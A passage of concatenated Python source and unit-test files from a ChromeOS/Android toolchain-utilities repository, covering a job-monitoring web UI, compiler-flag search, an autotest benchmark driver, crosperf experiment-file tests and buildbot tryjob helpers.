self._GetJobGroupStatus(group)} for group in self._all_job_groups] def GetLabelList(self): return sorted(set(group.label for group in self._all_job_groups)) def JobPageHandler(request, job_id): job = JobInfo(int(job_id)) ctx = MakeDefaultContext({ 'job_id': job_id, 'attributes': job.GetAttributes(), 'timeline': job.GetTimeline() }) return render_to_response('job.html', ctx) def LogPageHandler(request, job_id): job = JobInfo(int(job_id)) ctx = MakeDefaultContext({'job_id': job_id, 'log_lines': job.GetLog()}) return render_to_response('job_log.html', ctx) def JobGroupPageHandler(request, job_group_id): group = JobGroupInfo(int(job_group_id)) ctx = MakeDefaultContext({ 'group_id': job_group_id, 'attributes': group.GetAttributes(), 'job_list': group.GetJobList(), 'reports': group.GetReportList() }) return render_to_response('job_group.html', ctx) def JobGroupFilesPageHandler(request, job_group_id, path): group = JobGroupInfo(int(job_group_id)) return static.serve(request, path, document_root=group.GetHomeDirectory(), show_indexes=True) class FilterJobGroupsForm(forms.Form): label = forms.ChoiceField(label='Filter by label:', required=False) def JobGroupListPageHandler(request): groups = JobGroupListInfo() group_list = groups.GetList() field = FilterJobGroupsForm.base_fields['label'] field.choices = [('*', '--- no filtering ---')] field.choices.extend([(label, label) for label in groups.GetLabelList()]) if request.method == 'POST': form = FilterJobGroupsForm(request.POST) if form.is_valid(): label = form.cleaned_data['label'] if label != '*': group_list = [group for group in group_list if group['label'] == label] else: form = FilterJobGroupsForm({'initial': '*'}) ctx = MakeDefaultContext({'filter': form, 'groups': group_list}) return render_to_response('job_group_list.html', ctx) def MachineListPageHandler(request): machine_list = pickle.loads(GetServerConnection().GetMachineList()) return render_to_response('machine_list.html', MakeDefaultContext({'machines': machine_list})) def DefaultPageHandler(request): return HttpResponseRedirect('/job-group') ``` #### File: android_external_toolchain-utils/bestflags/iterative_elimination.py ```python __author__ = '<EMAIL> (<NAME>)' import flags from generation import Generation import task def _DecreaseFlag(flags_dict, spec): """Decrease the value of the flag that has the specification spec. If the flag that contains the spec is a boolean flag, it is eliminated. Otherwise the flag is a numeric flag, its value will be reduced by one. Args: flags_dict: The dictionary containing the original flags whose neighbors are to be explored. spec: The spec in the flags_dict is to be changed. Returns: Dictionary of neighbor flag that is only different from the original dictionary by the spec. """ # The specification must be held by one of the flags. assert spec in flags_dict # The results this method returns. results = flags_dict.copy() # This method searches for a pattern [start-end] in the spec. If the spec # contains this pattern, it is a numeric flag. Otherwise it is a boolean flag. # For example, -finline-limit=[1-1000] is a numeric flag and -falign-jumps is # a boolean flag. numeric_flag_match = flags.Search(spec) if numeric_flag_match: # numeric flag val = results[spec].GetValue() # If the value of the flag is the lower boundary of the specification, this # flag will be turned off. Because it already contains the lowest value and # can not be decreased any more. if val == int(numeric_flag_match.group('start')): # Turn off the flag. A flag is turned off if it is not presented in the # flags_dict. del results[spec] else: results[spec] = flags.Flag(spec, val - 1) else: # Turn off the flag. A flag is turned off if it is not presented in the # flags_dict. del results[spec] return results class IterativeEliminationGeneration(Generation): """The negative flag iterative elimination algorithm.""" def __init__(self, exe_set, parent_task): """Set up the base line parent task. The parent task is the base line against which the new tasks are compared. The new tasks are only different from the base line from one flag f by either turning this flag f off, or lower the flag value by 1. If a new task is better than the base line, one flag is identified that gives degradation. The flag that give the worst degradation will be removed or lower the value by 1 in the base in each iteration. Args: exe_set: A set of tasks to be run. Each one only differs from the parent_task by one flag. parent_task: The base line task, against which the new tasks in exe_set are compared. """ Generation.__init__(self, exe_set, None) self._parent_task = parent_task def IsImproved(self): """Whether any new task has improvement upon the parent task.""" parent = self._parent_task # Whether there is any new task that has improvement over the parent base # line task. for curr in [curr for curr in self.Pool() if curr != parent]: if curr.IsImproved(parent): return True return False def Next(self, cache): """Find out the flag that gives the worst degradation. Found out the flag that gives the worst degradation. Turn that flag off from the base line and use the new base line for the new generation. Args: cache: A set of tasks that have been generated before. Returns: A set of new generations. """ parent_task = self._parent_task # Find out the task that gives the worst degradation. worst_task = parent_task for curr in [curr for curr in self.Pool() if curr != parent_task]: # The method IsImproved, which is supposed to be called before, ensures # that there is at least a task that improves upon the parent_task. if curr.IsImproved(worst_task): worst_task = curr assert worst_task != parent_task # The flags_set of the worst task. work_flags_set = worst_task.GetFlags().GetFlags() results = set([]) # If the flags_set contains no flag, i.e., all the flags have been # eliminated, the algorithm stops. if not work_flags_set: return [] # Turn of the remaining flags one by one for the next generation. for spec in work_flags_set: flag_set = flags.FlagSet(_DecreaseFlag(work_flags_set, spec).values()) new_task = task.Task(flag_set) if new_task not in cache: results.add(new_task) return [IterativeEliminationGeneration(results, worst_task)] class IterativeEliminationFirstGeneration(IterativeEliminationGeneration): """The first iteration of the iterative elimination algorithm. The first iteration also evaluates the base line task. The base line tasks in the subsequent iterations have been evaluated. Therefore, IterativeEliminationGeneration does not include the base line task in the execution set. """ def IsImproved(self): # Find out the base line task in the execution set. parent = next(task for task in self.Pool() if task == self._parent_task) self._parent_task = parent return IterativeEliminationGeneration.IsImproved(self) ``` #### File: android_external_toolchain-utils/bestflags/pipeline_worker_test.py ```python __author__ = '<EMAIL> (<NAME>)' import multiprocessing import random import sys import unittest from mock_task import MockTask import pipeline_process import pipeline_worker # Pick an integer at random. TEST_STAGE = -3 def MockTaskCostGenerator(): """Calls a random number generator and returns a negative number.""" return random.randint(-sys.maxint - 1, -1) class PipelineWorkerTest(unittest.TestCase): """This class tests the pipeline_worker functions. Given the same identifier, the cost should result the same from the pipeline_worker functions. """ def testHelper(self): """"Test the helper. Call the helper method twice, and test the results. The results should be the same, i.e., the cost should be the same. """ # Set up the input, helper and output queue for the helper method. manager = multiprocessing.Manager() helper_queue = manager.Queue() result_queue = manager.Queue() completed_queue = manager.Queue() # Set up the helper process that holds the helper method. helper_process = multiprocessing.Process( target=pipeline_worker.Helper, args=(TEST_STAGE, {}, helper_queue, completed_queue, result_queue)) helper_process.start() # A dictionary defines the mock result to the helper. mock_result = {1: 1995, 2: 59, 9: 1027} # Test if there is a task that is done before, whether the duplicate task # will have the same result. Here, two different scenarios are tested. That # is the mock results are added to the completed_queue before and after the # corresponding mock tasks being added to the input queue. completed_queue.put((9, mock_result[9])) # The output of the helper should contain all the following tasks. results = [1, 1, 2, 9] # Testing the correctness of having tasks having the same identifier, here # 1. for result in results: helper_queue.put(MockTask(TEST_STAGE, result, MockTaskCostGenerator())) completed_queue.put((2, mock_result[2])) completed_queue.put((1, mock_result[1])) # Signal there is no more duplicate task. helper_queue.put(pipeline_process.POISONPILL) helper_process.join() while results: task = result_queue.get() identifier = task.GetIdentifier(TEST_STAGE) self.assertTrue(identifier in results) if identifier in mock_result: self.assertTrue(task.GetResult(TEST_STAGE), mock_result[identifier]) results.remove(identifier) def testWorker(self): """"Test the worker method. The worker should process all the input tasks and output the tasks to the helper and result queue. """ manager = multiprocessing.Manager() result_queue = manager.Queue() completed_queue = manager.Queue() # A dictionary defines the mock tasks and their corresponding results. mock_work_tasks = {1: 86, 2: 788} mock_tasks = [] for flag, cost in mock_work_tasks.iteritems(): mock_tasks.append(MockTask(TEST_STAGE, flag, cost)) # Submit the mock tasks to the worker. for mock_task in mock_tasks: pipeline_worker.Worker(TEST_STAGE, mock_task, completed_queue, result_queue) # The tasks, from the output queue, should be the same as the input and # should be performed. for task in mock_tasks: output = result_queue.get() self.assertEqual(output, task) self.assertTrue(output.Done(TEST_STAGE)) # The tasks, from the completed_queue, should be defined in the # mock_work_tasks dictionary. for flag, cost in mock_work_tasks.iteritems(): helper_input = completed_queue.get() self.assertEqual(helper_input, (flag, cost)) if __name__ == '__main__': unittest.main() ``` #### File: android_external_toolchain-utils/crb/crb_driver.py ```python import datetime import optparse import os import smtplib import sys import time from email.mime.text import MIMEText from autotest_gatherer import AutotestGatherer as AutotestGatherer from autotest_run import AutotestRun as AutotestRun from machine_manager_singleton import MachineManagerSingleton as MachineManagerSingleton from cros_utils import logger from cros_utils.file_utils import FileUtils def CanonicalizeChromeOSRoot(chromeos_root): chromeos_root = os.path.expanduser(chromeos_root) if os.path.isfile(os.path.join(chromeos_root, 'src/scripts/enter_chroot.sh')): return chromeos_root else: return None class Autotest(object): def __init__(self, autotest_string): self.name = None self.iterations = None self.args = None fields = autotest_string.split(',', 1) self.name = fields[0] if len(fields) > 1: autotest_string = fields[1] fields = autotest_string.split(',', 1) else: return self.iterations = int(fields[0]) if len(fields) > 1: self.args = fields[1] else: return def __str__(self): return '\n'.join([self.name, self.iterations, self.args]) def CreateAutotestListFromString(autotest_strings, default_iterations=None): autotest_list = [] for autotest_string in autotest_strings.split(':'): autotest = Autotest(autotest_string) if default_iterations and not autotest.iterations: autotest.iterations = default_iterations autotest_list.append(autotest) return autotest_list def CreateAutotestRuns(images, autotests, remote, board, exact_remote, rerun, rerun_if_failed, main_chromeos_root=None): autotest_runs = [] for image in images: logger.GetLogger().LogOutput('Computing md5sum of: %s' % image) image_checksum = FileUtils().Md5File(image) logger.GetLogger().LogOutput('md5sum %s: %s' % (image, image_checksum)) ### image_checksum = "abcdefghi" chromeos_root = main_chromeos_root if not main_chromeos_root: image_chromeos_root = os.path.join( os.path.dirname(image), '../../../../..') chromeos_root = CanonicalizeChromeOSRoot(image_chromeos_root) assert chromeos_root, 'chromeos_root: %s invalid' % image_chromeos_root else: chromeos_root = CanonicalizeChromeOSRoot(main_chromeos_root) assert chromeos_root, 'chromeos_root: %s invalid' % main_chromeos_root # We just need a single ChromeOS root in the MachineManagerSingleton. It is # needed because we can save re-image time by checking the image checksum at # the beginning and assigning autotests to machines appropriately. if not MachineManagerSingleton().chromeos_root: MachineManagerSingleton().chromeos_root = chromeos_root for autotest in autotests: for iteration in range(autotest.iterations): autotest_run = AutotestRun(autotest, chromeos_root=chromeos_root, chromeos_image=image, board=board, remote=remote, iteration=iteration, image_checksum=image_checksum, exact_remote=exact_remote, rerun=rerun, rerun_if_failed=rerun_if_failed) autotest_runs.append(autotest_run) return autotest_runs def GetNamesAndIterations(autotest_runs): strings = [] for autotest_run in autotest_runs: strings.append('%s:%s' % (autotest_run.autotest.name, autotest_run.iteration)) return ' %s (%s)' % (len(strings), ' '.join(strings)) def GetStatusString(autotest_runs): status_bins = {} for autotest_run in autotest_runs: if autotest_run.status not in status_bins: status_bins[autotest_run.status] = [] status_bins[autotest_run.status].append(autotest_run) status_strings = [] for key, val in status_bins.items(): status_strings.append('%s: %s' % (key, GetNamesAndIterations(val))) return 'Thread Status:\n%s' % '\n'.join(status_strings) def GetProgressBar(num_done, num_total): ret = 'Done: %s%%' % int(100.0 * num_done / num_total) bar_length = 50 done_char = '>' undone_char = ' ' num_done_chars = bar_length * num_done / num_total num_undone_chars = bar_length - num_done_chars ret += ' [%s%s]' % (num_done_chars * done_char, num_undone_chars * undone_char) return ret def GetProgressString(start_time, num_remain, num_total): current_time = time.time() elapsed_time = current_time - start_time try: eta_seconds = float(num_remain) * elapsed_time / (num_total - num_remain) eta_seconds = int(eta_seconds) eta = datetime.timedelta(seconds=eta_seconds) except ZeroDivisionError: eta = 'Unknown' strings = [] strings.append('Current time: %s Elapsed: %s ETA: %s' % (datetime.datetime.now(), datetime.timedelta(seconds=int(elapsed_time)), eta)) strings.append(GetProgressBar(num_total - num_remain, num_total)) return '\n'.join(strings) def RunAutotestRunsInParallel(autotest_runs): start_time = time.time() active_threads = [] for autotest_run in autotest_runs: # Set threads to daemon so program exits when ctrl-c is pressed. autotest_run.daemon = True autotest_run.start() active_threads.append(autotest_run) print_interval = 30 last_printed_time = time.time() while active_threads: try: active_threads = [t for t in active_threads if t is not None and t.isAlive()] for t in active_threads: t.join(1) if time.time() - last_printed_time > print_interval: border = '==============================' logger.GetLogger().LogOutput(border) logger.GetLogger().LogOutput(GetProgressString(start_time, len( [t for t in autotest_runs if t.status not in ['SUCCEEDED', 'FAILED'] ]), len(autotest_runs))) logger.GetLogger().LogOutput(GetStatusString(autotest_runs)) logger.GetLogger().LogOutput('%s\n' % MachineManagerSingleton().AsString()) logger.GetLogger().LogOutput(border) last_printed_time = time.time() except KeyboardInterrupt: print 'C-c received... cleaning up threads.' for t in active_threads: t.terminate = True return 1 return 0 def RunAutotestRunsSerially(autotest_runs): for autotest_run in autotest_runs: retval = autotest_run.Run() if retval: return retval def ProduceTables(autotest_runs, full_table, fit_string): l = logger.GetLogger() ags_dict = {} for autotest_run in autotest_runs: name = autotest_run.full_name if name not in ags_dict: ags_dict[name] = AutotestGatherer() ags_dict[name].runs.append(autotest_run) output = '' for b, ag in ags_dict.items(): output += 'Benchmark: %s\n' % b output += ag.GetFormattedMainTable(percents_only=not full_table, fit_string=fit_string) output += '\n' summary = '' for b, ag in ags_dict.items(): summary += 'Benchmark Summary Table: %s\n' % b summary += ag.GetFormattedSummaryTable(percents_only=not full_table, fit_string=fit_string) summary += '\n' output += summary output += ('Number of re-images performed: %s' % MachineManagerSingleton().num_reimages) l.LogOutput(output) if autotest_runs: board = autotest_runs[0].board else: board = '' subject = '%s: %s' % (board, ', '.join(ags_dict.keys())) if any(autotest_run.run_completed for autotest_run in autotest_runs): SendEmailToUser(subject, summary) def SendEmailToUser(subject, text_to_send): # Email summary to the current user. msg = MIMEText(text_to_send) # me == the sender's email address # you == the recipient's email address me = os.path.basename(__file__) you = os.getlogin() msg['Subject'] = '[%s] %s' % (os.path.basename(__file__), subject) msg['From'] = me msg['To'] = you # Send the message via our own SMTP server, but don't include the # envelope header. s = smtplib.SMTP('localhost') s.sendmail(me, [you], msg.as_string()) s.quit() def Main(argv): """The main function.""" # Common initializations ### command_executer.InitCommandExecuter(True) l = logger.GetLogger() parser = optparse.OptionParser() parser.add_option('-t', '--tests', dest='tests', help=('Tests to compare.' 'Optionally specify per-test iterations by:' '<test>,<iter>:<args>')) parser.add_option('-c', '--chromeos_root', dest='chromeos_root', help='A *single* chromeos_root where scripts can be found.') parser.add_option('-n', '--iterations', dest='iterations', help='Iterations to run per benchmark.', default=1) parser.add_option('-r', '--remote', dest='remote', help='The remote chromeos machine.') parser.add_option('-b', '--board', dest='board', help='The remote board.') parser.add_option('--full_table', dest='full_table', help='Print full tables.', action='store_true', default=True) parser.add_option('--exact_remote', dest='exact_remote', help='Run tests on the exact remote.', action='store_true', default=False) parser.add_option('--fit_string', dest='fit_string', help='Fit strings to fixed sizes.', action='store_true', default=False) parser.add_option('--rerun', dest='rerun', help='Re-run regardless of cache hit.', action='store_true', default=False) parser.add_option('--rerun_if_failed', dest='rerun_if_failed', help='Re-run if previous run was a failure.', action='store_true', default=False) parser.add_option('--no_lock', dest='no_lock', help='Do not lock the machine before running the tests.', action='store_true', default=False) l.LogOutput(' '.join(argv)) [options, args] = parser.parse_args(argv) if options.remote is None: l.LogError('No remote machine specified.') parser.print_help() return 1 if not options.board: l.LogError('No board specified.') parser.print_help() return 1 remote = options.remote tests = options.tests board = options.board exact_remote = options.exact_remote iterations = int(options.iterations) autotests = CreateAutotestListFromString(tests, iterations) main_chromeos_root = options.chromeos_root images = args[1:] fit_string = options.fit_string full_table = options.full_table rerun = options.rerun rerun_if_failed = options.rerun_if_failed MachineManagerSingleton().no_lock = options.no_lock # Now try creating all the Autotests autotest_runs = CreateAutotestRuns(images, autotests, remote, board, exact_remote, rerun, rerun_if_failed, main_chromeos_root) try: # At this point we have all the autotest runs. for machine in remote.split(','): MachineManagerSingleton().AddMachine(machine) retval = RunAutotestRunsInParallel(autotest_runs) if retval: return retval # Now print tables ProduceTables(autotest_runs, full_table, fit_string) finally: # not sure why this isn't called at the end normally... MachineManagerSingleton().__del__() return 0 if __name__ == '__main__': sys.exit(Main(sys.argv)) ``` #### File: android_external_toolchain-utils/crosperf/config_unittest.py ```python from __future__ import print_function import config import unittest class ConfigTestCase(unittest.TestCase): """Class for the config unit tests.""" def test_config(self): # Verify that config exists, that it's a dictionary, and that it's # empty. self.assertTrue(type(config.config) is dict) self.assertEqual(len(config.config), 0) # Verify that attempting to get a non-existant key out of the # dictionary returns None. self.assertIsNone(config.GetConfig('rabbit')) self.assertIsNone(config.GetConfig('key1')) config.AddConfig('key1', 16) config.AddConfig('key2', 32) config.AddConfig('key3', 'third value') # Verify that after 3 calls to AddConfig we have 3 values in the # dictionary. self.assertEqual(len(config.config), 3) # Verify that GetConfig works and gets the expected values. self.assertIs(config.GetConfig('key2'), 32) self.assertIs(config.GetConfig('key3'), 'third value') self.assertIs(config.GetConfig('key1'), 16) # Re-set config. config.config.clear() # Verify that config exists, that it's a dictionary, and that it's # empty. self.assertTrue(type(config.config) is dict) self.assertEqual(len(config.config), 0) if __name__ == '__main__': unittest.main() ``` #### File: android_external_toolchain-utils/crosperf/experiment_factory_unittest.py ```python from __future__ import print_function import StringIO import socket import mock import unittest from cros_utils.file_utils import FileUtils from experiment_factory import ExperimentFactory from experiment_file import ExperimentFile import test_flag import benchmark import experiment_factory import settings_factory EXPERIMENT_FILE_1 = """ board: x86-alex remote: chromeos-alex3 benchmark: PageCycler { iterations: 3 } image1 { chromeos_image: /usr/local/google/cros_image1.bin } image2 { chromeos_image: /usr/local/google/cros_image2.bin } """ # pylint: disable=too-many-function-args class ExperimentFactoryTest(unittest.TestCase): """Class for running experiment factory unittests.""" def setUp(self): self.append_benchmark_call_args = [] def testLoadExperimentFile1(self): experiment_file = ExperimentFile(StringIO.StringIO(EXPERIMENT_FILE_1)) exp = ExperimentFactory().GetExperiment( experiment_file, working_directory='', log_dir='') self.assertEqual(exp.remote, ['chromeos-alex3']) self.assertEqual(len(exp.benchmarks), 1) self.assertEqual(exp.benchmarks[0].name, 'PageCycler') self.assertEqual(exp.benchmarks[0].test_name, 'PageCycler') self.assertEqual(exp.benchmarks[0].iterations, 3) self.assertEqual(len(exp.labels), 2) self.assertEqual(exp.labels[0].chromeos_image, '/usr/local/google/cros_image1.bin') self.assertEqual(exp.labels[0].board, 'x86-alex') def test_append_benchmark_set(self): ef = ExperimentFactory() bench_list = [] ef.AppendBenchmarkSet(bench_list, experiment_factory.telemetry_perfv2_tests, '', 1, False, '', 'telemetry_Crosperf', False, 0, False) self.assertEqual( len(bench_list), len(experiment_factory.telemetry_perfv2_tests)) self.assertTrue(type(bench_list[0]) is benchmark.Benchmark) bench_list = [] ef.AppendBenchmarkSet(bench_list, experiment_factory.telemetry_pagecycler_tests, '', 1, False, '', 'telemetry_Crosperf', False, 0, False) self.assertEqual( len(bench_list), len(experiment_factory.telemetry_pagecycler_tests)) self.assertTrue(type(bench_list[0]) is benchmark.Benchmark) bench_list = [] ef.AppendBenchmarkSet(bench_list, experiment_factory.telemetry_toolchain_perf_tests, '', 1, False, '', 'telemetry_Crosperf', False, 0, False) self.assertEqual( len(bench_list), len(experiment_factory.telemetry_toolchain_perf_tests)) self.assertTrue(type(bench_list[0]) is benchmark.Benchmark) @mock.patch.object(socket, 'gethostname') def test_get_experiment(self, mock_socket): test_flag.SetTestMode(False) self.append_benchmark_call_args = [] def FakeAppendBenchmarkSet(bench_list, set_list, args, iters, rm_ch, perf_args, suite, show_all): 'Helper function for test_get_experiment' arg_list = [ bench_list, set_list, args, iters, rm_ch, perf_args, suite, show_all ] self.append_benchmark_call_args.append(arg_list) def FakeGetDefaultRemotes(board): if not board: return [] return ['fake_chromeos_machine1.cros', 'fake_chromeos_machine2.cros'] def FakeGetXbuddyPath(build, autotest_dir, board, chroot, log_level): autotest_path = autotest_dir if not autotest_path: autotest_path = 'fake_autotest_path' if not build or not board or not chroot or not log_level: return '', autotest_path return 'fake_image_path', autotest_path ef = ExperimentFactory() ef.AppendBenchmarkSet = FakeAppendBenchmarkSet ef.GetDefaultRemotes = FakeGetDefaultRemotes label_settings = settings_factory.LabelSettings('image_label') benchmark_settings = settings_factory.BenchmarkSettings('bench_test') global_settings = settings_factory.GlobalSettings('test_name') label_settings.GetXbuddyPath = FakeGetXbuddyPath mock_experiment_file = ExperimentFile(StringIO.StringIO('')) mock_experiment_file.all_settings = [] test_flag.SetTestMode(True) # Basic test. global_settings.SetField('name', 'unittest_test') global_settings.SetField('board', 'lumpy') global_settings.SetField('remote', '192.168.3.11 172.16.17.32') benchmark_settings.SetField('test_name', 'kraken') benchmark_settings.SetField('suite', 'telemetry_Crosperf') benchmark_settings.SetField('iterations', 1) label_settings.SetField( 'chromeos_image', 'chromeos/src/build/images/lumpy/latest/chromiumos_test_image.bin') label_settings.SetField('chrome_src', '/usr/local/google/home/chrome-top') label_settings.SetField('autotest_path', '/tmp/autotest') mock_experiment_file.global_settings = global_settings mock_experiment_file.all_settings.append(label_settings) mock_experiment_file.all_settings.append(benchmark_settings) mock_experiment_file.all_settings.append(global_settings) mock_socket.return_value = '' # First test. General test. exp = ef.GetExperiment(mock_experiment_file, '', '') self.assertEqual(exp.remote, ['192.168.3.11', '172.16.17.32']) self.assertEqual(exp.cache_conditions, [0, 2, 1]) self.assertEqual(exp.log_level, 'average') self.assertEqual(len(exp.benchmarks), 1) self.assertEqual(exp.benchmarks[0].name, 'kraken') self.assertEqual(exp.benchmarks[0].test_name, 'kraken') self.assertEqual(exp.benchmarks[0].iterations, 1) self.assertEqual(exp.benchmarks[0].suite, 'telemetry_Crosperf') self.assertFalse(exp.benchmarks[0].show_all_results) self.assertEqual(len(exp.labels), 1) self.assertEqual(exp.labels[0].chromeos_image, 'chromeos/src/build/images/lumpy/latest/' 'chromiumos_test_image.bin') self.assertEqual(exp.labels[0].autotest_path, '/tmp/autotest') self.assertEqual(exp.labels[0].board, 'lumpy') # Second test: Remotes listed in labels. test_flag.SetTestMode(True) label_settings.SetField('remote', 'chromeos1.cros chromeos2.cros') exp = ef.GetExperiment(mock_experiment_file, '', '') self.assertEqual(exp.remote, [ 'chromeos1.cros', 'chromeos2.cros', '192.168.3.11', '172.16.17.32' ]) # Third test: Automatic fixing of bad logging_level param: global_settings.SetField('logging_level', 'really loud!') exp = ef.GetExperiment(mock_experiment_file, '', '') self.assertEqual(exp.log_level, 'verbose') # Fourth test: Setting cache conditions; only 1 remote with "same_machine" global_settings.SetField('rerun_if_failed', 'true') global_settings.SetField('rerun', 'true') global_settings.SetField('same_machine', 'true') global_settings.SetField('same_specs', 'true') self.assertRaises(Exception, ef.GetExperiment, mock_experiment_file, '', '') label_settings.SetField('remote', '') global_settings.SetField('remote', '192.168.3.11') exp = ef.GetExperiment(mock_experiment_file, '', '') self.assertEqual(exp.cache_conditions, [0, 2, 3, 4, 6, 1]) # Fifth Test: Adding a second label; calling GetXbuddyPath; omitting all # remotes (Call GetDefaultRemotes). mock_socket.return_value = 'test.corp.google.com' global_settings.SetField('remote', '') global_settings.SetField('same_machine', 'false') label_settings_2 = settings_factory.LabelSettings('official_image_label') label_settings_2.SetField('chromeos_root', 'chromeos') label_settings_2.SetField('build', 'official-dev') label_settings_2.SetField('autotest_path', '') label_settings_2.GetXbuddyPath = FakeGetXbuddyPath mock_experiment_file.all_settings.append(label_settings_2) exp = ef.GetExperiment(mock_experiment_file, '', '') self.assertEqual(len(exp.labels), 2) self.assertEqual(exp.labels[1].chromeos_image, 'fake_image_path') self.assertEqual(exp.labels[1].autotest_path, 'fake_autotest_path') self.assertEqual(exp.remote, [ 'fake_chromeos_machine1.cros', 'fake_chromeos_machine2.cros' ]) def test_get_default_remotes(self): board_list = [ 'lumpy', 'elm', 'parrot', 'daisy', 'peach_pit', 'peppy', 'squawks' ] ef = ExperimentFactory() self.assertRaises(Exception, ef.GetDefaultRemotes, 'bad-board') # Verify that we have entries for every board, and that we get at least # two machines for each board. for b in board_list: remotes = ef.GetDefaultRemotes(b) if b == 'daisy': self.assertEqual(len(remotes), 1) else: self.assertGreaterEqual(len(remotes), 2) if __name__ == '__main__': FileUtils.Configure(True) test_flag.SetTestMode(True) unittest.main() ``` #### File: android_external_toolchain-utils/crosperf/experiment_file_unittest.py ```python from __future__ import print_function import StringIO import unittest from experiment_file import ExperimentFile EXPERIMENT_FILE_1 = """ board: x86-alex remote: chromeos-alex3 perf_args: record -a -e cycles benchmark: PageCycler { iterations: 3 } image1 { chromeos_image: /usr/local/google/cros_image1.bin } image2 { remote: chromeos-lumpy1 chromeos_image: /usr/local/google/cros_image2.bin } """ EXPERIMENT_FILE_2 = """ board: x86-alex remote: chromeos-alex3 iterations: 3 benchmark: PageCycler { } benchmark: AndroidBench { iterations: 2 } image1 { chromeos_image:/usr/local/google/cros_image1.bin } image2 { chromeos_image: /usr/local/google/cros_image2.bin } """ EXPERIMENT_FILE_3 = """ board: x86-alex remote: chromeos-alex3 iterations: 3 benchmark: PageCycler { } image1 { chromeos_image:/usr/local/google/cros_image1.bin } image1 { chromeos_image: /usr/local/google/cros_image2.bin } """ OUTPUT_FILE = """board: x86-alex remote: chromeos-alex3 perf_args: record -a -e cycles benchmark: PageCycler { \titerations: 3 } label: image1 { \tremote: chromeos-alex3 \tchromeos_image: /usr/local/google/cros_image1.bin } label: image2 { \tremote: chromeos-lumpy1 \tchromeos_image: /usr/local/google/cros_image2.bin }\n\n""" class ExperimentFileTest(unittest.TestCase): """The main class for Experiment File test.""" def testLoadExperimentFile1(self): input_file = StringIO.StringIO(EXPERIMENT_FILE_1) experiment_file = ExperimentFile(input_file) global_settings = experiment_file.GetGlobalSettings() self.assertEqual(global_settings.GetField('remote'), ['chromeos-alex3']) self.assertEqual( global_settings.GetField('perf_args'), 'record -a -e cycles') benchmark_settings = experiment_file.GetSettings('benchmark') self.assertEqual(len(benchmark_settings), 1) self.assertEqual(benchmark_settings[0].name, 'PageCycler') self.assertEqual(benchmark_settings[0].GetField('iterations'), 3) label_settings = experiment_file.GetSettings('label') self.assertEqual(len(label_settings), 2) self.assertEqual(label_settings[0].name, 'image1') self.assertEqual(label_settings[0].GetField('chromeos_image'), '/usr/local/google/cros_image1.bin') self.assertEqual(label_settings[1].GetField('remote'), ['chromeos-lumpy1']) self.assertEqual(label_settings[0].GetField('remote'), ['chromeos-alex3']) def testOverrideSetting(self): input_file = StringIO.StringIO(EXPERIMENT_FILE_2) experiment_file = ExperimentFile(input_file) global_settings = experiment_file.GetGlobalSettings() self.assertEqual(global_settings.GetField('remote'), ['chromeos-alex3']) benchmark_settings = experiment_file.GetSettings('benchmark') self.assertEqual(len(benchmark_settings), 2) self.assertEqual(benchmark_settings[0].name, 'PageCycler') self.assertEqual(benchmark_settings[0].GetField('iterations'), 3) self.assertEqual(benchmark_settings[1].name, 'AndroidBench') self.assertEqual(benchmark_settings[1].GetField('iterations'), 2) def testDuplicateLabel(self): input_file = StringIO.StringIO(EXPERIMENT_FILE_3) self.assertRaises(Exception, ExperimentFile, input_file) def testCanonicalize(self): input_file = StringIO.StringIO(EXPERIMENT_FILE_1) experiment_file = ExperimentFile(input_file) res = experiment_file.Canonicalize() self.assertEqual(res, OUTPUT_FILE) if __name__ == '__main__': unittest.main() ``` #### File: android_external_toolchain-utils/crosperf/flag_test_unittest.py ```python from __future__ import print_function import test_flag import unittest class FlagTestCase(unittest.TestCase): """The unittest class.""" def test_test_flag(self): # Verify that test_flag.is_test exists, that it is a list, # and that it contains 1 element. self.assertTrue(type(test_flag.is_test) is list) self.assertEqual(len(test_flag.is_test), 1) # Verify that the getting the flag works and that the flag # contains False, its starting value. save_flag = test_flag.GetTestMode() self.assertFalse(save_flag) # Verify that setting the flat to True, then getting it, works. test_flag.SetTestMode(True) self.assertTrue(test_flag.GetTestMode()) # Verify that setting the flag to False, then getting it, works. test_flag.SetTestMode(save_flag) self.assertFalse(test_flag.GetTestMode()) # Verify that test_flag.is_test still exists, that it still is a # list, and that it still contains 1 element. self.assertTrue(type(test_flag.is_test) is list) self.assertEqual(len(test_flag.is_test), 1) if __name__ == '__main__': unittest.main() ``` #### File: android_external_toolchain-utils/cros_utils/buildbot_utils.py ```python from __future__ import print_function import ast import json import os import re import time from cros_utils import command_executer from cros_utils import logger INITIAL_SLEEP_TIME = 7200 # 2 hours; wait time before polling buildbot. SLEEP_TIME = 600 # 10 minutes; time between polling of buildbot. # Some of our slower builders (llmv-next) are taking more # than 8 hours. So, increase this TIME_OUT to 9 hours. TIME_OUT = 32400 # Decide the build is dead or will never finish class BuildbotTimeout(Exception): """Exception to throw when a buildbot operation timesout.""" pass def RunCommandInPath(path, cmd): ce = command_executer.GetCommandExecuter() cwd = os.getcwd() os.chdir(path) status, stdout, stderr = ce.RunCommandWOutput(cmd, print_to_console=False) os.chdir(cwd) return status, stdout, stderr def PeekTrybotImage(chromeos_root, buildbucket_id): """Get the artifact URL of a given tryjob. Args: buildbucket_id: buildbucket-id chromeos_root: root dir of chrome os checkout Returns: (status, url) where status can be 'pass', 'fail', 'running', and url looks like: gs://chromeos-image-archive/trybot-elm-release-tryjob/R67-10468.0.0-b20789 """ command = ( 'cros buildresult --report json --buildbucket-id %s' % buildbucket_id) rc, out, _ = RunCommandInPath(chromeos_root, command) # Current implementation of cros buildresult returns fail when a job is still # running. if rc != 0: return ('running', None) results = json.loads(out)[buildbucket_id] return (results['status'], results['artifacts_url'].rstrip('/')) def ParseTryjobBuildbucketId(msg): """Find the buildbucket-id in the messages from `cros tryjob`. Args: msg: messages from `cros tryjob` Returns: buildbucket-id, which will be passed to `cros buildresult` """ output_list = ast.literal_eval(msg) output_dict = output_list[0] if 'buildbucket_id' in output_dict: return output_dict['buildbucket_id'] return None def SubmitTryjob(chromeos_root, buildbot_name, patch_list, tryjob_flags=None, build_toolchain=False): """Calls `cros tryjob ...` Args: chromeos_root: the path to the ChromeOS root, needed for finding chromite and launching the buildbot. buildbot_name: the name of the buildbot queue, such as lumpy-release or daisy-paladin. patch_list: a python list of the patches, if any, for the buildbot to use. tryjob_flags: See cros tryjob --help for available options. build_toolchain: builds and uses the latest toolchain, rather than the prebuilt one in SDK. Returns: buildbucket id """ patch_arg = '' if patch_list: for p in patch_list: patch_arg = patch_arg + ' -g ' + repr(p) if not tryjob_flags: tryjob_flags = [] if build_toolchain: 